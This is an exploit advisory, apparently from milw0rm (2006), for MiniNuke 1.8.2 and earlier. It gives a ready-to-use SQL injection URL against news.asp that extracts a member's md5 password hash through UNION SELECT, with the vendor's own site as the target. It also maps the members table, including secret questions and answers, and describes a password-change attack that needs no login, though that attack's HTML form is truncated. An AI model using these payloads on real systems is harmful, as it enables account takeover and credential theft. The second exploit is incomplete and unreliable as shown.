    Contacts:{
    ICQ: 10072
    MSN/Email: nukedx@nukedx.com
    Web: http://www.nukedx.com
    }

    ---
    Vendor: MiniNuke (www.miniex.net)
    Version: 1.8.2 and prior versions must be affected.
    About:Via this method remote attacker can inject SQL query to the news.asp
    ---
    How&Example: GET -> http://[site]/news.asp?Action=Print&hid=[SQLQuery]
    http://www.miniex.net/news.asp?Action=Print&hid=66%20union+select+0,sifre,0,0,0,0,0,0,0,0+from+members+where+uye_id=52

    Columns of MEMBERS:
    uye_id = userid
    sifre = md5 password hash
    g_soru = secret question.
    g_cevap = secret answer
    email = mail address
    isim = name
    icq = ICQ Uin
    msn = MSN Sn.
    aim = AIM Sn.
    meslek = job
    cinsiyet = gender
    yas = age
    url = url
    imza = signature
    mail_goster = show mail :P
    avurl = avatar url
    avatar = avatar

    ---
    Vendor: MiniNuke (www.miniex.net)
    Version: 1.8.2 and prior versions must be affected.
    About:Via this method remote attacker can change any users password without login.
    ---
    How&Example:
    HTML Example
    [code]

Now fill in the blanks
Change password
PASSWORD: |
PASSWORD Again : |

[/code] # milw0rm.com [2006-01-14]